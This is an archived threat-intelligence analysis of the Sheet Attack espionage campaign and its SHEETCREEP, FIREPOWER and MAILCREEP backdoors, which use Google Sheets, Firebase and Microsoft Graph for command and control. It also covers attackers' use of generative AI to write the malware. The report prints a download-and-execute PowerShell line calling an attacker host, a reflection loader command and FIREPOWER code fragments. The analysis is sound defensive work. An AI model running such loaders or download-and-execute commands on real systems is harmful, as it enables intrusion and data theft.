{
	"id": "d1347094-513b-4d2c-8216-534f1c8b90a7",
	"created_at": "2026-04-06T00:15:01.182997Z",
	"updated_at": "2026-04-10T03:21:45.948457Z",
	"deleted_at": null,
	"sha1_hash": "348e1df37bee6082d85fa5b53a78fc451c661408",
	"title": "SHEETCREEP, FIREPOWER, and MAILCREEP Analysis | ThreatLabz",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 942508,
	"plain_text": "SHEETCREEP, FIREPOWER, and MAILCREEP Analysis |\r\nThreatLabz\r\nBy Yin Hong Chang, Sudeep Singh\r\nPublished: 2026-01-27 · Archived: 2026-04-05 22:34:45 UTC\r\nTechnical Analysis\r\nIn the following sections, ThreatLabz provides a technical analysis of the Sheet Attack campaign, detailing the\r\nbackdoors it leverages and examining the evidence that suggests AI was used to generate parts of the code.\r\nInitial infection vectors\r\nSimilar to the Gopher Strike campaign, some of the initial Sheet Attack campaigns began with the delivery of a\r\nPDF file. The PDF displayed a redacted document that tricked the recipient into clicking a Download Document\r\nbutton to access the full content, as shown in the figure below. \r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 1 of 10\n\nFigure 1: Example of a PDF file used in the Sheet Attack campaign.\r\nAfter clicking the button, the user was directed to a threat actor-controlled website that served a ZIP archive.\r\nSimilar to the Gopher Strike campaign, the server employed geographic and  User-Agent checks to ensure the\r\nZIP archive was only delivered to Windows systems in India, returning a “403 Forbidden” error otherwise. These\r\nZIP archives contained the SHEETCREEP backdoor. The figure below illustrates the attack flow of the PDF-based Sheet Attack campaign to distribute SHEETCREEP.\r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 2 of 10\n\nFigure 2: The attack flow of the Sheet Attack campaign to distribute SHEETCREEP.\r\nMore recent Sheet Attack campaigns have transitioned to using malicious LNK files to distribute another\r\nbackdoor named FIREPOWER. These LNK files execute commands such as:  --headless powershell -e\r\n[base64 powershell command] to execute a PowerShell script retrieved from a threat actor-controlled C2 server\r\n(e.g.,  irm https://hcidoc[.]in/[path] | iex ).\r\nThe figure below illustrates the attack flow of the Sheet Attack campaigns when malicious LNK files were used as\r\nthe initial infection vector for FIREPOWER.\r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 3 of 10\n\nFigure 3: The attack flow of the Sheet Attack campaigns when malicious LNK files were used as the initial\r\ninfection vector for FIREPOWER.\r\nSHEETCREEP backdoor\r\nThe ZIP archive contains the following two components: \r\na binary disguised with a PNG extension ( details.png )\r\na malicious LNK file containing the following command:\r\npowershell.exe -WindowStyle Hidden -Command \"$b=[IO.File]::ReadAllBytes('details.png');([System.Reflection.Asse\r\nThis command reverses the bytes in  details.png and loads them as a .NET assembly via reflection.\r\nThe  Task10.Program::MB() method is executed, which drops the backdoor to disk\r\nat  C:\\Users\\Public\\Documents\\details.png , as well as a loader ( GServices.vbs ), which is registered as a\r\nscheduled task. The  GServices.vbs loader uses Powershell and reflection to load the backdoor, SHEETCREEP,\r\nwhich is a small C#-based backdoor with limited built-in functionality. Upon execution, SHEETCREEP performs\r\nthe following actions:\r\n1. Decrypts and loads an embedded configuration using TripleDES (ECB). The configuration is a JSON\r\ndictionary consisting of Google Cloud credentials and a Google Sheet ID.\r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 4 of 10\n\n2. Generates a victim ID in the format:  == . Interestingly, the code that generates the victim ID contains\r\nfunctionality to retrieve the victim’s MAC address, but the MAC address retrieved is never used.\r\n3. The victim ID is used to create a spreadsheet within the Google Sheets workbook. If this fails, the\r\nSHEETCREEP backdoor retries, using backup configurations from a Firebase URL and a Google Cloud\r\nStorage URL. After successfully creating a spreadsheet, the SHEETCREEP backdoor retrieves the contents\r\nof cells A1 through A300 and finds the next available empty row.\r\n4. A hidden  cmd.exe process is also created in the background, with its standard input, output, and error\r\nstreams redirected to the SHEETCREEP backdoor.\r\n5. SHEETCREEP then polls the spreadsheet every three seconds for new commands, which will be encrypted\r\nusing the same TripleDES key. These commands are executed using the hidden  cmd.exe process in step 4\r\nabove. The output of these commands is encrypted and Base64-encoded, and written to column B of the\r\nrow where the command was retrieved. The workflow of this function is illustrated in the figure below.\r\nFigure 4: Decoded and redacted example of a Google Sheet used by SHEETCREEP.\r\nFIREPOWER backdoor\r\nFIREPOWER is a backdoor written in PowerShell. ThreatLabz observed that several variants of the FIREPOWER\r\nbackdoor were delivered in the Sheet Attack campaign. However, at its core, the backdoor performs the following\r\nactions.\r\nFIREPOWER generates a victim identifier in the format: ComputerName==Username and connects to a Firebase\r\nRealtime Database. Then, FIREPOWER creates default keys for each victim in the data, such as:\r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 5 of 10\n\ndb.baseDirectory.[victim id] = {“status”: false, “eStatus”: false, “comStatus”: false, “extension”: false, “url\r\nThe table below shows the functionality of each key in the database.\r\nKey Description\r\nstatus\r\nIf set to  true , FIREPOWER downloads the file from the URL specified in the URL key. Once\r\nthe download is successfully completed, this field is set to  false .\r\neStatus\r\nIf set to  true , this forces the download to use the extension specified in the extension key.\r\nOtherwise, FIREPOWER uses the original file name and extension, or infers from the  Content-Type header.\r\ncomStatus\r\nIf set to  true , FIREPOWER executes the command in the command key. Once the command\r\nhas been executed, this is set to  false .\r\nextension\r\nA string specifying the extension of the file downloaded from the URL specified in the URL\r\nkey.\r\nurl The URL to download a file.\r\ncommand The command to be executed using Powershell’s Invoke-Expression.\r\nLastHit\r\nContains a timestamp which is updated each time FIREPOWER queries the Firebase Realtime\r\nDatabase.\r\nTable 1: Functionality of the keys used by FIREPOWER.\r\nFIREPOWER retrieves the names of directories within  C:\\Program Files andC:\\Program Files (x86). In\r\naddition, it retrieves file and directory names from the victim’s Desktop and Downloads directories. Then,\r\nFIREPOWER uploads the list of file and directories to the Firebase Realtime Database in the following manner:\r\ndb.baseDirectory.[victim id] = {“Desktop”: [...], “Downloads”: [...], “Program Files”: [...], “Program Files (x\r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 6 of 10\n\nFIREPOWER operates within a C2 loop with a polling interval of 300 seconds, enabling it to execute a variety of\r\ntasks. It then checks status flags and, if required, downloads a file from db.baseDirectory.[victim id].url\r\nusing the hardcoded User-Agent :   Mozilla/5.0 (Windows NT 10.0; Win64; x64) . In addition, FIREPOWER\r\nchecks the comStatus flags and, if required, will call Invoke-Expression to execute a command stored in\r\ndb.baseDirectory.[victim id].command. The results of that command are appended to\r\nC:\\Users\\Public\\Documents\\text.log. Then, FIREPOWER updates the last ping back time in\r\ndb.baseDirectory.[victim id].LastHit .\r\nThe table below lists some functionalities present in other variants of FIREPOWER. \r\nFunctionality Description\r\nPersistence\r\nAn additional stub was added to create a scheduled task. This task runs a command\r\nidentical to the one in the LNK file, retrieving and executing the latest FIREPOWER\r\nbackdoor each time a user logs into the machine.\r\nCollection of\r\ncommand output\r\nA new  db.baseDirectory.[victim id].lastOutput field was introduced to store the\r\noutput of the most recently executed command, simplifying the operator's workflow.\r\nTesting Message box pop-ups were added, likely to simplify debugging during testing.\r\nFaster polling The polling interval was reduced to 120 seconds.\r\nLure documents\r\nA Base64-encoded PDF file was embedded in the PowerShell script to display to the\r\nuser on the first run.\r\nClean up Code was added to delete the original LNK file.\r\nReduced footprint The command output log ( text.log ) was removed.\r\nTable 2: List of features present in FIREPOWER variants.\r\nSecond-stage payloads\r\nDuring the Sheet Attack campaign, ThreatLabz observed the threat actor deploying additional payloads to selected\r\ntargets via FIREPOWER. As of this writing, the campaign remains active, with the threat actor introducing new\r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 7 of 10\n\nbackdoors written in various programming languages and utilizing different legitimate cloud services for C2.\r\nSome of those additional payloads include:\r\nThe threat actor deployed a PowerShell-based document stealer to selected targets, scanning the\r\ntarget’s Desktop, Documents and OneDrive directories for files with specific extensions (.txt, .csv, .pdf,\r\n.docx, .xlsx, .pptx). The threat actor proceeded to upload those files to a threat actor-controlled private\r\nGitHub repository.\r\nThe threat actor was also observed utilizing MAILCREEP, a backdoor developed in Golang. To check for\r\ninternet connectivity, MAILCREEP establishes a TCP connection to Google's public DNS server (8.8.8.8)\r\non port 53. If successful, MAILCREEP proceeds to its main loop. It leverages Microsoft's Graph API to\r\nmanipulate emails and folders for C2 activity within a threat actor-controlled Azure tenant. For each\r\nvictim, MAILCREEP creates a folder in the mailbox using the victim's identifier (formatted as\r\n[username]-[random number] ). Subsequently, it polls the mailbox for emails with subjects starting with\r\n“Input.” If such emails are found, MAILCREEP extracts their contents, decodes them using Base64, and\r\ndecrypts them with AES-256 in CBC mode. The resulting string is parsed as comma-separated values\r\n(CSV), and commands are executed using  cmd.exe /c [command] .\r\nUse of generative AI for malware development\r\nDuring the decompilation of the SHEETCREEP backdoor, ThreatLabz identified the use of emojis within its error-handling code. This unusual coding style strongly suggests that generative AI tools were utilized during the\r\nmalware's development, which is a worldwide trend as documented by Google and OpenAI. An example is shown\r\nbelow:\r\ncatch (ArgumentNullException ex)\r\n{\r\n Console.WriteLine(\"❌ Config is missing required values: \" + ex.Message);\r\n sheetsService = null;\r\n}\r\ncatch (InvalidOperationException ex2)\r\n{\r\n Console.WriteLine(\"❌ Private key format is invalid: \" + ex2.Message);\r\n sheetsService = null;\r\n}\r\ncatch (Exception ex3)\r\n{\r\n Console.WriteLine(\"❌ Unexpected error while creating credentials: \" + ex3.Message);\r\n sheetsService = null;\r\n}\r\nAdditionally, ThreatLabz observed that the FIREPOWER backdoor contains verbose comments, including some\r\nwith non-ASCII characters like Unicode arrows, as shown in the example below. \r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 8 of 10\n\nfunction Get-FolderContents {\r\n param ($path)\r\n try {\r\n Get-ChildItem -Path $path -ErrorAction SilentlyContinue |\r\n ForEach-Object { $_.Name } # ← SINGLE FIX: return only strings\r\n }\r\n catch { @() }\r\n}\r\nfunction Upload-FolderStructure {\r\n param($systemName)\r\n try {\r\n $desktopPath = [Environment]::GetFolderPath(\"Desktop\")\r\n $downloadsPath = Join-Path $env:USERPROFILE \"Downloads\" # ← FIXED\r\n // ...\r\n }\r\n // ...\r\n}\r\n// ...\r\n# 3) If fileName still missing or trivial (like \"t\"), try to infer extension from Content-Type\r\nif (-not $fileName -or $fileName.Length -lt 2 -or -not ([System.IO.Path]::GetExtension($fileName))) {\r\n # if we have a name but no extension, keep the name and possibly add extension inferred below\r\n $baseName = $null\r\n if ($fileName) { $baseName = [System.IO.Path]::GetFileNameWithoutExtension($fileName) }\r\n else { $baseName = \"download_$((Get-Date).ToString('yyyyMMdd_HHmmss'))\" }\r\n # Try infer from content-type\r\n $contentType = $http.ContentType\r\n $inferredExt = Infer-ExtensionFromContentType -contentType $contentType\r\n # If eStatus=true and customExt provided -\u003e force customExt\r\n if ($eStatus -and -not [string]::IsNullOrWhiteSpace($customExt)) {\r\n if (-not $customExt.StartsWith(\".\")) { $customExt = \".\" + $customExt }\r\n $fileName = $baseName + $customExt\r\n } else {\r\n # If inferred ext exists -\u003e use it, else keep whatever we had, or .bin fallback\r\n if ($inferredExt) { $fileName = $baseName + $inferredExt }\r\n else {\r\n # If original url path gave a filename without ext, keep it (option A wants to keep server extension\r\n if ($fileName -and ([System.IO.Path]::GetExtension($fileName))) {\r\n # keep as-is\r\n } else {\r\n $fileName = $baseName + \".bin\"\r\n }\r\n }\r\n }\r\nThis further reinforces the likelihood that generative AI tools were used in the development process. As noted in a\r\nprevious blog, verbose comments designed to assist the developer during development are a hallmark of AI-https://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 9 of 10\n\ngenerated code.\r\nHowever, typos within the FIREPOWER script also indicate that the backdoor's creation was likely not purely\r\nautomated and involved some degree of manual development effort, as shown in the figure below.\r\nFigure 5: Example typo (“extention”) found in the FIREPOWER script.\r\nHands-on-keyboard activity\r\nWhile monitoring these Google Sheet C2 channels, ThreatLabz observed repeated commands, often accompanied\r\nby typos. This strongly suggests hands-on-keyboard activity from an operator. The figure below highlights some\r\nof the typos in the commands.\r\nFigure 6: Typos in commands indicating hands-on-keyboard activity by the Sheet Attack operator.\r\nSource: https://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nhttps://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and"
	],
	"report_names": [
		"apt-attacks-target-indian-government-using-sheetcreep-firepower-and"
	],
	"threat_actors": [],
	"ts_created_at": 1775434501,
	"ts_updated_at": 1775791305,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/348e1df37bee6082d85fa5b53a78fc451c661408.pdf",
		"text": "https://archive.orkl.eu/348e1df37bee6082d85fa5b53a78fc451c661408.txt",
		"img": "https://archive.orkl.eu/348e1df37bee6082d85fa5b53a78fc451c661408.jpg"
	}
}